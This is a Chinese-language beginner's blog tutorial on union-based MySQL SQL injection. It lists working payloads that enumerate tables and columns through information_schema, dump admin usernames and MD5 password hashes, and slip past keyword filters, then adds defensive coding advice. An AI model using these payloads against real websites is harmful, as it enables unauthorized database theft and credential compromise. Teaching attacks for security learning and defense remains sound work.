SQL注入实战:information_schema 完整脱库流程+常见绕过思路(新手必收藏)
union、information_schema、select、and、or 等。接上一篇继续讲,还是纯干货、接地气,适合刚入门想真正学会挖注入的同学。4. 为什么 information_schema 这么“危险”?information_schema 就是注入的核心中的核心,内联注释绕过:/*!想脱库,必须靠 information_schema;页面上出现数字 2、3,说明这两个位置可以展示
接上一篇继续讲,还是纯干货、接地气,适合刚入门想真正学会挖注入的同学。
0. 前言
上一篇我们知道了:
想脱库,必须靠 information_schema;
想查表,必须先查库名、表名、字段名。
但很多新手看完还是会懵:
页面不回显数据怎么办?
关键词被过滤了怎么办?
不知道当前数据库名怎么办?
这篇一次性讲全,让你真正从“看懂”变成“会用”。
1. 注入时最常用的几个核心函数(背会就够用)
新手不用记太多,下面这几个是注入高频函数:
database()
获取当前网站正在使用的数据库名。
version()
查看 MySQL 版本。
user()
查看数据库登录用户,有时候能看到 root。
concat(值1, 值2)
把多个字段拼在一起显示。
group_concat(字段)
把多行数据合成一行,一次性显示所有表名/字段名。
这几个函数,是脱库的“万能钥匙”。
2. 实战完整流程(复制就能跟着练)
假设注入点:
http://xxx.com/show.php?id=1
步骤1:判断是否存在注入
?id=1'
页面报错、异常 → 大概率存在注入。
步骤2:判断字段数(order by)
?id=1 order by 1
?id=1 order by 2
?id=1 order by 3
?id=1 order by 4
如果 order by 4 报错,order by 3 正常,
说明查询字段数 = 3。
步骤3:查看回显位置
?id=-1 union select 1,2,3
页面上出现数字 2、3,说明这两个位置可以展示数据。
步骤4:查当前数据库名
?id=-1 union select 1,database(),3
假设得到库名:test_db
步骤5:查该库下所有表名(核心)
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
你会看到类似结果:
admin,user,news,config,goods
admin 表大概率就是后台管理员表。
步骤6:查 admin 表的所有字段
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='admin'
得到字段:
id,username,password,status
步骤7:直接查询管理员账号密码
?id=-1 union select 1,concat(username,' | ',password),3 from admin
页面直接显示:
admin | e10adc3949ba59abbe56e057f20f883e
密码是 MD5 加密,随便找个解密网站就能解开。
到这一步,脱库完成。
3. 新手最容易遇到的问题:为什么查不出来?
很多人照着输却没结果,常见就这几个原因:
1)union 被过滤
页面空白、报错,说明网站屏蔽了 union。
可以尝试大小写绕过:
UniOn SeleCt
2)information_schema 被拦截
有些网站会过滤这个关键词。
可以用:
大小写绕过:InFoRmAtIoN_ScHeMa
编码绕过
内联注释绕过:/*!information_schema*/
3)单引号被过滤
可以用 十六进制 代替字符串,不用单引号。
4)没有回显
页面不显示数据,只能用:
布尔盲注
时间盲注
报错注入
后面我会单独出文章详细讲。
4. 为什么 information_schema 这么“危险”?
因为它是 MySQL 系统自带的,默认所有人都能读。
只要网站存在注入,你就能通过它:
遍历所有数据库
遍历所有表
遍历所有字段
最终拿到所有数据
这就是为什么:
只要有注入,整个库基本等于裸奔。
很多小网站、学生毕设、老旧系统,全都栽在这。
5. 开发该怎么防护?(简单有效)
不想自己写的网站被脱库,记住这几点:
绝对不要直接拼接 SQL
用预编译、参数化查询,99% 注入直接失效。
限制数据库账号权限
不给 file、drop、alter 等高权限。
过滤关键函数与关键词
union、information_schema、select、and、or 等。
关闭数据库错误回显
不要把数据库报错信息暴露给前端。
防护真的不难,
难的是很多人图省事,根本不做。
6. 结尾 & 下期预告
SQL 注入不是靠死记硬背,
而是靠理解逻辑、多练案例。
information_schema 就是注入的核心中的核心,
学会它,你已经超过很多入门新手了。
下一篇我会讲:
无回显时的 报错注入
最简单的 布尔盲注 手工流程
Sqlmap 一把梭哈教程
真实 SRC 漏洞案例分享
想学网安、渗透、挖漏洞、护网行动的同学可以关注,
持续更新免费干货,一起从零基础变强。
⚠️ 重要声明:
本文仅用于网络安全学习、代码安全审计。
严禁未经授权对任何网站、系统、服务器进行渗透测试,
违者需自行承担相应法律责任。
请遵守《网络安全法》,合法学习、合法研究。
更多推荐
所有评论(0)